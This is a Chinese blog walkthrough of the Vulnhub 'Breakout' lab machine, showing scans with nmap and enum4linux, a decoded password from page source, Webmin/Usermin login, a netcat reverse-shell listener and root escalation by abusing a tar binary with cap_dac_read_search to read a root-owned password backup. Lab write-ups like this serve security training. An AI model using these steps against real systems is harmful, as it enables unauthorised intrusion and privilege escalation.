首页 > 其他分享 >Vulnhub 02 Breakout靶机解题详细过程

Vulnhub 02 Breakout靶机解题详细过程

时间：2022-11-14 20:37:47浏览次数：75  
标签：02 lib tar 192.168 cyber Breakout breakout var Vulnhub

02 Breakout

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/02_breakout]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.74.0/16   |   Screen View: Unique Hosts                                                                                                                                                            
                                                                                                                                                                                                                                
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                                                                                                
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor                                                                                                                                                               
 192.168.56.100  08:00:27:88:e9:8b      1      60  PCS Systemtechnik GmbH                                                                                                                                                       
 192.168.56.176  08:00:27:28:88:4b      1      60  PCS Systemtechnik GmbH

利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.176

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/02_breakout]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.176 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-14 06:41 EST
Nmap scan report for bogon (192.168.56.176)
Host is up (0.00038s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.51 (Debian)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
MAC Address: 08:00:27:28:88:4B (Oracle VirtualBox virtual NIC)

Host script results:
|_clock-skew: 7h59m59s
| smb2-time: 
|   date: 2022-11-14T19:41:16
|_  start_date: N/A
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.60 seconds

Get Access

从SMB服务开始分析：

┌──(kali㉿kali)-[~/Vulnhub/02_breakout]
└─$ smbclient -L 192.168.56.176                                
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.13.5-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
                                                                                                                                                                                                                                 
┌──(kali㉿kali)-[~/Vulnhub/02_breakout]
└─$ smbclient //192.168.56.176/IPC$    
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smb: \> quit

SMB服务没有暴露可利用的攻击面。

访问80端口，返回默认页面，但是在页面源代码中有以下信息：

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.


-->

这是一串编码过的信息，用网站Brainfuck/OoK加密解密 - Bugku CTF解密得到：

.2uqPEfj3D<P'a-3

10000端口和20000端口分别是webmin和userbin

┌──(kali㉿kali)-[~/Vulnhub/02_breakout]
└─$ enum4linux 192.168.56.176
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Nov 14 06:51:44 2022

 =========================================( Target Information )=========================================
                                                                                                                                                                                                                                 
Target ........... 192.168.56.176                                                                                                                                                                                                
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.56.176 )===========================
                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                 
[+] Got domain/workgroup name: WORKGROUP     

 =================( Users on 192.168.56.176 via RID cycling (RIDS: 500-550,1000-1050) )=================
                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                 
[I] Found new SID:                                                                                                                                                                                                               
S-1-22-1                                                                                                                                                                                                                         

[I] Found new SID:                                                                                                                                                                                                               
S-1-5-32                                                                                                                                                                                                                         

[I] Found new SID:                                                                                                                                                                                                               
S-1-5-32                                                                                                                                                                                                                         

[I] Found new SID:                                                                                                                                                                                                               
S-1-5-32                                                                                                                                                                                                                         

[I] Found new SID:                                                                                                                                                                                                               
S-1-5-32                                                                                                                                                                                                                         

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                                                      
                                                                                                                                                                                                                                 
S-1-22-1-1000 Unix User\cyber (Local User)                                                                                                                                                                                       

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                                                                                                                      
                                                                                                                                                                                                                                 
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                                                                                
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

发现了用户名cyber

用该用户名和前面得到的密码尝试登录10000和20000端口，发现只能登录20000端口

发现页面左下角有执行命令的功能

接下来设法得到反弹shell

┌──(kali㉿kali)-[~/Vulnhub/02_breakout]
└─$ sudo nc -nlvp 5555
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.137] from (UNKNOWN) [192.168.56.176] 57644
bash: cannot set terminal process group (1336): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$ id
id
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
cyber@breakout:~$ bash -i
bash -i
bash: cannot set terminal process group (1336): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$

提权

将linpeas.sh脚本上传至靶机，没有发现有SUID的程序

cyber@breakout:~$ getcap tar
getcap tar
tar cap_dac_read_search=ep
cyber@breakout:~$

用户目录下的这个tar命令可以读取敏感文件

查找有pass名称的文件

find / -name '*pass*' 2>/dev/null
/var/backups/.old_pass.bak
/var/lib/dpkg/info/base-passwd.list
/var/lib/dpkg/info/base-passwd.postinst
/var/lib/dpkg/info/base-passwd.md5sums
/var/lib/dpkg/info/passwd.list
/var/lib/dpkg/info/base-passwd.templates
/var/lib/dpkg/info/base-passwd.preinst
/var/lib/dpkg/info/passwd.conffiles
/var/lib/dpkg/info/passwd.md5sums
/var/lib/dpkg/info/passwd.preinst
/var/lib/dpkg/info/passwd.postrm
/var/lib/dpkg/info/passwd.postinst
/var/lib/dpkg/info/base-passwd.postrm
/var/lib/dpkg/info/passwd.prerm
/var/lib/pam/password
/var/lib/samba/private/passdb.tdb
/var/cache/debconf/passwords.dat
/boot/grub/i386-pc/password.mod
/boot/grub/i386-pc/legacy_password_test.mod
/boot/grub/i386-pc/password_pbkdf2.mod
/run/systemd/ask-password
cyber@breakout:~$           


ls -alh /var/backups/.old_pass.bak
-rw------- 1 root root 17 Oct 20  2021 /var/backups/.old_pass.bak

这个文件率属于root，看能否用tar命令读取出来

cyber@breakout:~$ ./tar -cf bak.tar /var/backups/.old_pass.bak
./tar -cf bak.tar /var/backups/.old_pass.bak
./tar: Removing leading `/' from member names
cyber@breakout:~$ ls
ls
bak.tar
tar
user.txt
cyber@breakout:~$ tar -xf bak.tar
tar -xf bak.tar
cyber@breakout:~$ ls
ls
bak.tar
tar
user.txt
var
cyber@breakout:~$ cd var
cd var
cyber@breakout:~/var$ ls -alh
ls -alh
total 12K
drwxr-xr-x 3 cyber cyber 4.0K Nov 14 15:14 .
drwxr-xr-x 9 cyber cyber 4.0K Nov 14 15:14 ..
drwxr-xr-x 2 cyber cyber 4.0K Nov 14 15:14 backups
cyber@breakout:~/var$ cd backups
cd backups
cyber@breakout:~/var/backups$ ls
ls
cyber@breakout:~/var/backups$ ls -alh
ls -alh
total 12K
drwxr-xr-x 2 cyber cyber 4.0K Nov 14 15:14 .
drwxr-xr-x 3 cyber cyber 4.0K Nov 14 15:14 ..
-rw------- 1 cyber cyber   17 Oct 20  2021 .old_pass.bak
cyber@breakout:~/var/backups$ cat .old_pass.bak
cat .old_pass.bak
Ts&4&YurgtRX(=~h
cyber@breakout:~/var/backups$

用这个密码切换到Root用户

标签：02,lib,tar,192.168,cyber,Breakout,breakout,var,Vulnhub
From： https://www.cnblogs.com/jason-huawen/p/16890290.html

相关文章

  • 102. 二叉树的层序遍历 ------ BFS广度优先遍历、二维数组、队列
    给你二叉树的根节点root，返回其节点值的层序遍历。（即逐层地，从左到右访问所有节点）。 示例1：  输入：root=[3,9,20,null,null,15,7]输出：[[3],[9,20],[15,7]]示......
  • 2022年度国内主流低代码平台介绍
    随着低代码发展越来越迅速，也出现了很多优秀的低代码平台，企业在做技术选型时难免会觉得眼花缭乱，不知该如何选择；现在就跟小编一起来看一下国内那些优秀的低代码平台吧。让......
  • 51st 2022/11/12 模拟赛总结36
    这次按自己的话来说，不能接受因为和估分差距有点大赛时很开心地以为能A两题，一题50然后爆成120原因：T1的100->20现发现T1是因为没有全取模，很失落其实是因为考试时的一......
  • 20221114_T4B_树形dp换根dp
    题意太冗长了传一张图片自己看吧。题解赛时得分15/100/100赛时写了\(A=0\)的乱搞，没写对但是拿了15pts。首先这个函数是一个增函数，对于power和score两个指标......
  • 20221114-python字符串
    1.字符串定义：    2.字符串的转义符    3.字符串的拼接：      4.字符串的下标：    5.字符串的切片 ......
  • 2022 CCPC 广州站 Alice and Her Lost Cat
    1#include<bits/stdc++.h>2usingnamespacestd;3#definergregister4#definelllonglong5#defineldlongdouble6#defineFOR(i,a,b)for(r......
  • 20221114_T4B_拓扑排序贪心
    题意L国正在举行各种会议，但是可怜的是L国只有一个主持人，每场会议的开始主持人都必须去主持会议，使会议得以开始，在会议开始后主持人可以离开。 主持人不会分身，他在一个时刻......
  • 【2022-11-14】luffy项目实战(七)
    一、短信注册接口user/views.pyclassUserView(ViewSet):@action(methods=['POST'],detail=False)defregister(self,request):info=UserRegiste......
  • 【ECCV2022】AMixer: Adaptive Weight Mixing for Self-Attention Free Vision Transf
    1、Motivation这个论文来自于清华大学鲁继文老师团队，核心是attention和MLP-mixer思想的结合。建议用2分钟时间学习一下谷歌公司的MLP-Mixer「MLP-Mixer:Anall-ML......
  • ZCU102 HDMI Demo工程修改【PCIE视频传输】
    转自：https://blog.csdn.net/vacajk/article/details/78975590 为了更快速的开发我需要的带缓存的hdmi收发通路，将上一节的demo进行修改来实现。当然，可以从头开始自己进行......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99